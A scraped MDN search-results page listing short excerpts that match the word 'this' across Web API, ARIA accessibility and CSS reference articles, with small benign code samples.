...if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for
this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer.
...And 2 more matches
RTCPeerConnection.close() - Web APIs
syntax peerconnection.close();
this method has no parameters, and returns nothing.
... calling
this method terminates the rtcpeerconnection's ice agent, ending any ongoing ice processing and any active streams.
...
this also releases any resources in use by the ice agent, including turn permissions.
...And 2 more matches
RTCPeerConnection: iceconnectionstatechange event - Web APIs
this can happen when only the last checked candidate is successful, and the gathering and end-of-candidates signals both occur before the successful negotiation is completed.
...the ice layer makes
this determination upon receiving the end-of-candidates signal, which is provided by caling addicecandidate() with a candidate whose candidate property is an empty string (""), or by setting the rtcpeerconnection property cantrickleicecandidates to false.
... examples an event handler for
this event can be added using the rtcpeerconnection.oniceconnectionstatechange property or by using addeventlistener() on the rtcpeerconnection.
...And 2 more matches
RTCPeerConnection.restartIce() - Web APIs
this simplifies the process by allowing the same method to be used by either the caller or the receiver to trigger an ice restart.
...
this process continues until an ice restart has been successfully completed.
...existing media transmissions continue uninterrupted during
this process.
...And 2 more matches
RTCPeerConnectionIceEvent - Web APIs
only one event is of
this type: icecandidate.
... properties a rtcpeerconnectioniceevent being an event,
this event also implements these properties.
... rtcpeerconnectioniceevent.candidate read only contains the rtcicecandidate containing the candidate associated with the event, or null if
this event indicates that there are no further candidates to come.
...And 2 more matches
RTCRtcpParameters - Web APIs
this is used, for example, in sdes (sdp security descriptions) messages, described in rfc 4568.
...
this property cannot be changed once initialized.
...if
this value is true, reduced size rtcp (described in rfc 5506) is in effect.
...And 2 more matches
RTCRtpContributingSource.source - Web APIs
syntax var sourceid = rtcrtpcontributingsource.source value an unsigned, 32-bit integer value which uniquely identifies the source of rtp packets described by
this rtcrtpcontributingsource (in which case the value is a csrc identifier) or rtcrtpsynchronizationsource (the value is an ssrc identifier).
... browser compatibility the compatibility table on
this page is generated from structured data.
...iewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 59edge full support ≤79firefox full support 59disabled full support 59disabled disabled from version 59:
this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true).
...And 2 more matches
RTCRtpSender - Web APIs
this value is null until the transport is established.
... obsolete properties rtcptransport
this property has been removed; the rtp and rtcp transports have been combined into a single transport.
... rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which provides statistics data for all outbound streams being sent using
this rtcrtpsender.
...And 2 more matches
Report - Web APIs
reports can be accessed in a number of ways: via the reportingobserver.takerecords() method —
this returns all reports in an observer's report queue, and then empties the queue.
...
this contains the list of reports currently contained in the observer's report queue.
... methods
this interface has no methods defined on it.
...And 2 more matches
ReportingObserver - Web APIs
properties
this interface has no properties defined on it.
... events
this interface has no events that fire on it.
...recation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe();
this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( ...
...And 2 more matches
Request() - Web APIs
this can either be: a usvstring containing the direct url of the resource you want to fetch.
...note the following behavioural updates to retain security while making the constructor less likely to throw exceptions: if
this object exists on another origin to the constructor call, the request.referrer is stripped out.
... if
this object has a request.mode of navigate, the mode value is converted to same-origin.
...And 2 more matches
ResizeObserverEntry.contentBoxSize - Web APIs
this object contains two properties: blocksize the length of the observed element's content box in the block dimension.
... for boxes with a horizontal writing-mode,
this is the vertical dimension, or height; if the writing-mode is vertical,
this is the horizontal dimension, or width.
...for boxes with a horizontal writing-mode,
this is the horizontal dimension, or width; if the writing-mode is vertical,
this is the vertical dimension, or height.
...And 2 more matches
SVGFEDisplacementMapElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
...it takes one of the svg_channel_* constants defined on
this interface.
...And 2 more matches
SVGGeometryElement - Web APIs
this includes paths and the basic shapes.
...in svg 2 they were moved to
this interface.
... properties
this interface also inherits properties from its parent, svggraphicselement.
...And 2 more matches
SVGPathElement - Web APIs
properties
this interface also inherits properties from its parent, svggeometryelement.
... note: in svg 2
this property was moved to the svggeometryelement interface, from which
this interface inherits it.
... methods
this interface also inherits methods from its parent, svggeometryelement.
...And 2 more matches
SVGPreserveAspectRatio - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
...it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties name type description align unsigned short the type of the alignment value as specified by one of the svg_preserveaspectratio_* constants defined on
this interface.
...And 2 more matches
SVGRect - Web APIs
rget="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of
this coordinate depends on each element.
... svgrect.y the exact effect of
this coordinate depends on each element.if the attribute is not specified, the effect is as if a value of 0 were specified.
... svgrect.width
this represents the width of the rectangle.a value that is negative results to an error.
...And 2 more matches
SVGStyleElement - Web APIs
pi/svgstyleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svgelement and implements properties from linkstyle.
...
this restriction was removed in svg 2.
...
this restriction was removed in svg 2.
...And 2 more matches
SVGTextContentElement - Web APIs
properties
this interface also inherits properties from its parent, svggraphicselement.
... methods
this interface also inherits methods from its parent, svggraphicselement.
...note that
this method only accounts for the widths of the glyphs in the substring and any extra spacing inserted by the css 'letter-spacing' and 'word-spacing' properties.
...And 2 more matches
Screen Wake Lock API - Web APIs
modern devices do
this to save on battery power.
... whilst
this is a useful feature, some applications need the screen to stay awake to be their most useful.
... examples feature detection
this code checks for wake lock support and updates the ui accordingly.
...And 2 more matches
ServiceWorkerContainer.register() - Web APIs
you can call
this method unconditionally from the controlled page.
...
this is usually a relative url.
...the service worker code in
this case, if included in example.com/index.html, will control example.com/index.html, as well as pages underneath it, like example.com/product/description.html.
...And 2 more matches
ServiceWorkerContainer - Web APIs
this property returns null during a force-refresh request (shift + refresh) or if there is no active worker.
...
this can be used to react to sent messages earlier, even before that page's content has finished loading.
... navigator.serviceworker.register('/sw.js').then(function(registration) { console.log('service worker registration succeeded:', registration); // at
this point, you can optionally do something // with registration.
...And 2 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
this may occur if the subscription was refreshed by the browser, but it may also happen if the subscription has been revoked or lost.
... bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(),
this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example.
... note: in earlier drafts of the specification,
this event was defined to be sent when a pushsubscription has expired.
...And 2 more matches
ShadowRoot - Web APIs
this defines whether or not the shadow root's internal features are accessible from javascript.
...note that
this is currently only implemented by chrome; other browsers still implement them on the document interface.
...note that
this is currently only implemented by chrome; other browsers still implement them on the document interface.
...And 2 more matches
SourceBuffer.abort() - Web APIs
exceptions exception explanation invalidstateerror the mediasource.readystate property of the parent media source is not equal to open, or
this sourcebuffer has been removed from the mediasource.
...the mse api is fully asynchronous, but
this step seems to suggest a synchronous (blocking) operation, which doesn't make sense.
...for example, consider
this code: sourcebuffer.addeventlistener('updateend', function (_) { ...
...And 2 more matches
Storage API - Web APIs
note:
this feature is available in web workers.
...
this origin, however, has a lower quota than the other two do.
...
this includes scenarios such as the user selecting a "clear caches" or "clear recent history" option.
...And 2 more matches
SubtleCrypto.decrypt() - Web APIs
if using rsa-oaep,
this is the privatekey property of the cryptokeypair object.
... rsa-oaep
this code decrypts ciphertext using rsa-oaep.
... function decryptmessage(privatekey, ciphertext) { return window.crypto.subtle.decrypt( { name: "rsa-oaep" }, privatekey, ciphertext ); } aes-ctr
this code decrypts ciphertext using aes in ctr mode.
...And 2 more matches
SubtleCrypto.deriveBits() - Web APIs
this method is very similar to subtlecrypto.derivekey(), except that derivekey() returns a cryptokey object rather than an arraybuffer.
...
this function supports the same derivation algorithms as derivekey(): ecdh, hkdf, and pbkdf2.
...if algorithm is ecdh,
this will be the ecdh private key.
...And 2 more matches
TextEncoder.prototype.encodeInto() - Web APIs
this is potentially more performant than the older encode() method especially when the target buffer is a view into a wasm heap.
...
this may be less than string.length if uint8array did not have enough space.
...u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room return stats; } examples <p class="source">
this is a sample paragraph.</p> <p class="result"></p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); const utf8 = new uint8array(string.length); let encodedresults = textencoder.encodeinto(string, utf8); resultpara.textcontent += 'bytes read: ' + encodedresults...
...And 2 more matches
Touch.radiusX - Web APIs
this value, in combination with touch.radiusy and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen.
...
this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example.
... note:
this attribute has not been formally standardized.
...And 2 more matches
Touch.radiusY - Web APIs
this value, in combination with touch.radiusx and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen.
...
this may be a large ellipse representing the contact between a fingertip and the screen or a small one representing the tip of a stylus, for example.
... note:
this attribute has not been formally standardized.
...And 2 more matches
Using Touch Events - Web APIs
during
this interaction, an application receives touch events during the start, move, and end phases.
...
this interface's attributes include the state of several modifier keys (for example the shift key) and the following touch lists: touches - a list of all of the touch points currently on the screen.
... basic steps
this section contains a basic usage of using the above interfaces.
...And 2 more matches
UIEvent.initUIEvent() - Web APIs
events initialized in
this way must have been created with the document.createevent() method.
...
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use
this method anymore as it is deprecated.
...And 2 more matches
UIEvent.layerX - Web APIs
this property takes scrolling of the page into account and returns a value relative to the whole of the document unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element.
...d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>
this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...And 2 more matches
URLSearchParams - Web APIs
an object implementing urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note:
this feature is available in web workers.
... urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in
this object.
... urlsearchparams.foreach() allows iteration through all values contained in
this object via a callback function.
...And 2 more matches
URLUtilsReadOnly - Web APIs
properties
this interface doesn't inherit any properties.
... methods
this interface doesn't inherit any methods.
... browser compatibility the compatibility table in
this page is generated from structured data.
...And 2 more matches
USBConfiguration - Web APIs
properties usbconfiguration.configurationvalueread only returns the configuration value of
this configuration.
...
this is equal to the bconfigurationvalue field of the configuration descriptor provided by the device defining
this configuration.
... usbconfiguration.configurationnameread only returns the name provided by the device to describe
this configuration.
...And 2 more matches
VideoTrack - Web APIs
only a single video track can be active at any given time, so setting
this property to true for one track while another track is active will make that other track inactive.
...
this id can be used to locate a specific track within a video track list by calling videotracklist.gettrackbyid().
...
this string is empty if no label is provided.
...And 2 more matches
WEBGL_debug_renderer_info - Web APIs
depending on the privacy settings of the browser,
this extension might only be available to privileged contexts.
... availability: depending on the privacy settings of the browser,
this extension might only be available to privileged contexts or not work at all.
... in firefox, if privacy.resistfingerprinting is set to true,
this extensions is disabled.
...And 2 more matches
WEBGL_depth_texture - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... constants
this extension adds a new constant: ext.unsigned_int_24_8_webgl unsigned integer type for 24-bit depth texture data.
...And 2 more matches
WEBGL_draw_buffers - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... constants
this extension exposes new constants, which can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
...And 2 more matches
Color masking - Web APIs
« previousnext »
this webgl example modifies random colors by applying color masking to limit the range of displayed colors to specific shades.
... masking random colors
this example modifies the random color animation by applying color masking with colormask().
...
this is an important aspect of the webgl state machine.
...And 2 more matches
Web Animations API Concepts - Web APIs
this article will introduce you to the important concepts behind the waapi, providing you with a theoretical understanding of how it works so you can use it effectively.
...
this means we can use it to create and manipulate css-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs.
... all the animation's playback relies on
this timeline: seeking the animation moves the animation’s position along the timeline; slowing down or speeding up the playback rate condenses or expands its spread across the timeline; repeating the animation lines up additional iterations of it along the timeline.
...And 2 more matches
Web Workers API - Web APIs
the advantage of
this is that laborious processing can be performed in a separate thread, allowing the main (usually the ui) thread to run without being blocked/slowed down.
...worker()) that runs a named javascript file —
this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window.
...
this context is represented by either a dedicatedworkerglobalscope object (in the case of dedicated workers - workers that are utilized by a single script), or a sharedworkerglobalscope (in the case of shared workers - workers that are shared between multiple scripts).
...And 2 more matches
Window: animationiteration event - Web APIs
this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window: animationstart event - Web APIs
if there is an animation-delay,
this event will fire once the delay period has expired.
... bubbles yes cancelable no interface animationevent event handler property onanimationstart the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window.pageYOffset - Web APIs
this number is subpixel precise, so it may not be an integer.
... since
this property is an alias for window.scrolly, see that article for additional details on
this value and its use.
...integer euismod lectus a ipsum pellentesque lacinia.</p> `; document.getelementbyid("frame").contentdocument .body.innerhtml = contenthtml; in
this example, an <iframe> is created and filled with content, then a specific element within the document is scrolled into view in the frame.
...And 2 more matches
Window.print() - Web APIs
in most browsers,
this method will block while the print dialog is open.
... living standard browser compatibility the compatibility table in
this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46,
this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support 6notes full support ...
...And 2 more matches
Window: unhandledrejection event - Web APIs
the unhandledrejection event is sent to the global scope of a script when a javascript promise that has no rejection handler is rejected; typically,
this is the window, but may also be a worker.
...
this is useful for debugging and for providing fallback error handling for unexpected situations.
...you can prevent
this by calling preventdefault() on the promiserejectionevent; see preventing default handling below for an example.
...And 2 more matches
WindowOrWorkerGlobalScope.btoa() - Web APIs
you can use
this method to encode data which may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
...in javascript strings are represented using the utf-16 character encoding: in
this encoding, strings are represented as a sequence of 16-bit (2 byte) units.
...in terms of javascript strings,
this means strings in which each character occupies only one byte.
...And 2 more matches
Worker.prototype.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker;
this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler.
...
this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...And 2 more matches
XMLHttpRequest() - Web APIs
const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting
this flag to true will cause the browser not to expose the origin and user credentials when fetching resources.
... most important,
this means that cookies will not be sent unless explicitly added using setrequestheader.
... mozsystem boolean: setting
this flag to true allows making cross-site connections without requiring the server to opt-in using cors.
...And 2 more matches
XMLHttpRequest.multipart - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... obsolete since gecko 22
this gecko-only feature was removed in firefox/gecko 22.
...
this boolean indicates if the response is expected to be a stream of possibly multiple xml documents.
...And 2 more matches
XMLHttpRequest.open() - Web APIs
note: calling
this method for an already active request (one for which open() has already been called) is the equivalent of calling abort().
...if
this value is false, the send() method does not return until the response is received.
...
this must be true if the multipart attribute is true, or an exception will be thrown.
...And 2 more matches
XMLHttpRequest.send() - Web APIs
if the request is asynchronous (which is the default),
this method returns as soon as the request is sent and the result is delivered using events.
... if the request is synchronous,
this method doesn't return until the response has arrived.
... send() accepts an optional parameter which lets you specify the request's body;
this is primarily used for requests such as put.
...And 2 more matches
XPathResult - Web APIs
since xpath expressions can result in a variety of result types,
this interface makes it possible to determine and handle the type and value of the result.
...it is true if resulttype is unordered_node_iterator_type or ordered_node_iterator_type and the document has been modified since
this result was returned.
... methods xpathresult.iteratenext() if the result is a node set,
this method iterates over it and returns the next node from it or null if there are no more nodes.
...And 2 more matches
XRInputSource.targetRaySpace - Web APIs
the exact meaning of
this space varies, however, depending on the mode: every gaze input (targetraymode value of gaze), shares the same xrspace object as their target ray space, since the gaze input comes from the viewer's head.
...
this shared space represents the same location as the space returned by the xrsession method requestreferencespace(), but is maintained as a different object to allow for future enhancements to the api.
... example
this fragment of code shows part of a function to be called once every frame.
...And 2 more matches
XRReferenceSpaceEventInit - Web APIs
since the properties are read-only,
this is the only opportunity available to set their values.
... you will not usually need to use
this, since these events are created by the webxr infrastructure.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by
this event) to the new coordiante system.
...And 2 more matches
XRRenderStateInit - Web APIs
this is null by default.
...
this is 1000 meters (1 kilometer) by default.
...no part of the scene on the viewer's side of
this plane will be rendered.
...And 2 more matches
XRSession.requestAnimationFrame() - Web APIs
this can be done from within the callback itself.
...
this can be used to obtain the poses of the viewer and the scene itself, as well as other information needed to render a frame of an ar or vr scene.
...
this example demonstrates a design pattern that ensures seamless transition between non-immersive animations created via window.requestanimationframe and immersive xr animations.
...And 2 more matches
XRViewerPose.views - Web APIs
for monoscopic devices,
this array contains a single view.
...for each frame, you should always use the current length of
this array rather than caching the value.
...
this array's length may potentially vary over the lifetime of the xrsession (for example, if the viewer enables or disables stereo mode on their xr output device).
...And 2 more matches
XRViewerPose - Web APIs
this view can represent anything from the point-of-view of a user's xr headset to the viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a virtual camera capturing the scene for a spectator.
...for example, every player in a mmorpg might have an instance of xrviewerpose to provide a way to calculate what they can see; if the game provides a mechanism that tells the player if another player sees them, or that they see another player,
this information becomes crucial.
...
this ensures that positions and orientations are reported using the expected relative coordinate system.
...And 2 more matches
XRWebGLLayer.antialias - Web APIs
otherwise,
this property's value is false.
...otherwise,
this property is false.
... when the webxr compositor is enabled,
this value corresponds to the value of the antialias property on the object returned by the webgl context's getcontentattributes() method.
...And 2 more matches
XSL Transformations in Mozilla FAQ - Web APIs
this is actually pretty close to the question above.
...
this includes stuff like text entered into textfields and other dynamic changes.
...
this is achieved by printing the current dom tree.
...And 2 more matches
Using the alertdialog role - Accessibility
description
this technique demonstrates how to use the alertdialog role.
...
this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible description (using aria-describedby).
...it is up to the developer to make
this distinction though.
...And 2 more matches
Using the aria-describedby attribute - Accessibility
this is very similar to aria-labelledby: a label describes the essence of an object, while a description provides more information that the user might need.
...
this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
... value a space-separated list of element ids possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle
this technique.
...And 2 more matches
Using the log role - Accessibility
description
this technique demonstrates how to use the log role and describes the effect it has on browsers and assistive technology.
...in contrast to other types of live region,
this role is sequentially ordered and new information is only added to the end of the log.
... when
this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it.
...And 2 more matches
Using the progressbar role - Accessibility
this technique demonstrates how to use the progressbar role and describes the effect it has on browsers and assistive technology.
...if the actual value of the progressbar can be determined, the developer has to indicate
this progress using the aria-valuenow, aria-valuemin, and aria-valuemax attributes.
... as the task progresses, the aria-valuenow value has to be updated dynamically to indicate
this progress to assistive technology products.
...And 2 more matches
ARIA: contentinfo role - Accessibility
this section is commonly called a footer.
... <div role="contentinfo"> <h2>footer</h2> <!-- footer content --> </div>
this is a website footer.
...contentinfo landmarks present in content embedded via <iframe> elements do not count towards
this limit.
...And 2 more matches
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the content contained within
this element.
... <button>close</button> </div>
this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it.
...
this mode can be altered through various roles, including the widget and application roles.
...And 2 more matches
ARIA: img role - Accessibility
this will cause screen readers to just consider it as a single entity and describe it using the label, rather than trying to read out all the child nodes: <svg role="img" aria-label="description of your svg image"> <!-- contents of the svg image --> </svg> using role="img" to confer meaning that is obscured or implied in certain cases, assistive technology users won't be able to get the meaning o...
...
this is obvious to fix in the case of images (you can use the alt attribute), but in the case of mixed or other certain types of content it is not so obvious, and role="img" can come into play.
...for example, take the following code: <div role="img" aria-label="that cat is so funny"> <p> 🐈 😂 </p> </div> 🐈 😂 are entity references for emojis read out as "cat" and "face with tears of joy", but
this doesn't necessarily make sense — the implied meaning is possibly more like "that cat is so funny", so we include that in an aria-label along with role="img".
...And 2 more matches
ARIA: search role - Accessibility
examples <form id="search" role="search"> <label for="search-input">search
this site</label> <input type="search" id="search-input" name="search" spellcheck="false"> <input value="submit" type="submit"> </form> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
...
this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark.
... <form id="page-search" role="search" aria-label="on
this page"> <!-- search input --> </form> repeated landmarks if a search landmark role in a document is repeated in a document, and both landmarks have identical content, use the same label for each landmark.
...And 2 more matches
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
if you’re using a screen reader, have you noticed that, when you go to
this setting in firefox, it tells you “delete history after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21.
...“days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find
this out other than navigating around with screen reviewing commands.
...with firefox 3, your blind users will automatically get better accessibility from the new attribute, but the users of older browsers are not left in the dark
this way.
...And 2 more matches
Accessibility: What users can do to browse more safely - Accessibility
this article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems.
...the user would access
this through an accessibility interface, as seen below.
...
this will not work on animated gifs; the source of the animation is self-contained within a gif and is not affected by these settings.
...And 2 more matches
Robust - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the robust principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
...
this can generally be achieved by following web standards and testing rigorously.
... guideline 4.1 — compatible: maximize compatibility with current and future user agents, including assistive technologies
this guideline focuses on making content as compatible as possible, not only with current user agents (e.g.
...And 2 more matches
-webkit-line-clamp - CSS: Cascading Style Sheets
note:
this property was originally implemented in webkit and has some issues.
...the css overflow module level 3 specification also defines a line-clamp property, which is meant to replace
this property and avoid its issues.
... syntax /* keyword value */ -webkit-line-clamp: none; /* <integer> values */ -webkit-line-clamp: 3; -webkit-line-clamp: 10; /* global values */ -webkit-line-clamp: inherit; -webkit-line-clamp: initial; -webkit-line-clamp: unset; none
this value specifies that the content wonʼt be clamped.
...And 2 more matches
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of
this pseudo-class, giving different styles to background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
...
this attribute is no longer used.
... syntax :-moz-window-inactive examples
this example alters the appearance of a box's background depending on whether its window is active or not.
...And 2 more matches
::backdrop - CSS: Cascading Style Sheets
this includes both elements which have been placed in full-screen mode using the fullscreen api and <dialog> elements.
...no restrictions are made on what properties apply to
this pseudo-element.
... syntax ::backdrop examples styling the backdrop for full-screen video in
this example, the backdrop style used when a video is shifted to full-screen mode is configured to be a grey-blue color rather than the black it defaults to in most browsers.
...And 2 more matches
:checked - CSS: Cascading Style Sheets
/* matches any checked/selected radio, checkbox, or option */ :checked { margin-left: 25px; border: 1px solid blue; } the user can engage
this state by checking/selecting an element, or disengage it by unchecking/deselecting the element.
...input:checked + label { color: red; } /* radio element, when checked */ input[type="radio"]:checked { box-shadow: 0 0 0 3px orange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox
this example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using javascript.
...see
this demo for a possible cue.
...And 2 more matches
:focus-visible - CSS: Cascading Style Sheets
(many browsers show a “focus ring” by default in
this case.)
this selector is useful to provide a different focus indicator based on the user’s input modality (mouse vs.
... syntax :focus-visible examples basic example in
this example, the :focus-visible selector uses the ua's behavior to determine when to match.
...
this matches the native focus behavior for controls like <button>.
...And 2 more matches
:nth-child() - CSS: Cascading Style Sheets
this may seem weird at first, but it makes more sense when the b part of the formula is >0, like in the next example.
...
this selects the same elements as a simple p selector (although with a higher specificity).
...
this is the same as the :first-child selector (and has the same specificity).
...And 2 more matches
:nth-last-child() - CSS: Cascading Style Sheets
/* selects every fourth element among any group of siblings, counting backwards from the last one */ :nth-last-child(4n) { color: lime; } note:
this pseudo-class is essentially the same as :nth-child, except it counts items backwards from the end, not forwards from the beginning.
...
this is the same as a simple p selector.
...
this is the same as the :last-child selector.
...And 2 more matches
:visited - CSS: Cascading Style Sheets
for privacy reasons, the styles that can be modified using
this selector are very limited.
... styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using
this pseudo-class, and how they can be used: allowable css properties are color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
...of the properties that can be set with
this pseudo-class, your browser probably has a default value for color and column-rule-color only.
...And 2 more matches
@counter-style - CSS: Cascading Style Sheets
however, although more styles were added to
this set of predefined styles over the years,
this system proved too restrictive to fulfill the needs of worldwide typography.
... the @counter-style at-rule addresses
this shortcoming in an open-ended manner, by allowing authors to define their own counter styles when the pre-defined styles aren't fitting their needs.
... @counter-style winners-list { system: fixed; symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in
this descriptor.
...And 2 more matches
unicode-range - CSS: Cascading Style Sheets
if the page doesn't use any character in
this range, the font is not downloaded; if it uses at least one, the whole font is downloaded.
... description the purpose of
this descriptor is to allow the font resources to be segmented so that a browser only needs to download the font resource needed for the text content of a particular page.
... formal definition related at-rule@font-faceinitial valueu+0-10ffffcomputed valueas specified formal syntax <unicode-range># examples using a different font for a single character in
this example we create a simple html containing a single <div> element, including an ampersand, that we want to style with a different font.
...And 2 more matches
forced-colors - CSS: Cascading Style Sheets
note:
this feature is not supported by any user agent and its specifics are subject to change.
... user preferences currently no user agent implements
this feature, although various operating systems do support such preferences and if
this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use.
... examples note: no browser currently implements
this feature so the following example will not work.
...And 2 more matches
prefers-reduced-data - CSS: Cascading Style Sheets
note:
this feature is not supported by any user agent and its specifics are subject to change.
...
this keyword value evaluates as false in the boolean context.
... user preferences currently no user agent implements
this feature, although various operating systems do support such preferences and if
this media query is ever implemented user agents will likely rely on the settings provided by the operating system.
...And 2 more matches
Handling content breaks in multicol - CSS: Cascading Style Sheets
in
this guide we see how fragmentation works in multicol.
...the fragmentation properties give us ways to exercise some control over
this.
...
this property takes values of: auto avoid avoid-page avoid-column avoid-region in the example below, we have applied break-inside to the figure element to prevent the caption from becoming separated from the image.
...And 2 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
unfortunately
this is impossible to do with css and html without forcing column breaks at fixed positions, or severely restricting the markup allowed in the text, or using heroic scripting.
...
this limitation is solved by adding new css properties to extend the traditional block layout mode.
...firefox does
this.
...And 2 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
all elements that are in flow, will be laid out using
this method.
... floated items in
this example i have a div, and then two paragraphs.
...
this is why, to make space around a floated item, you must add a margin to the item, in order to push the line boxes away from it.
...And 2 more matches
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
in
this guide we take a look at these.
...
this is mostly due to the fact that there are four longhand values each for margin, border, and padding side, plus all the shorthand values.
... in a horizontal writing mode
this css would apply a 5px margin to the top of the box and a 10px margin to the bottom.
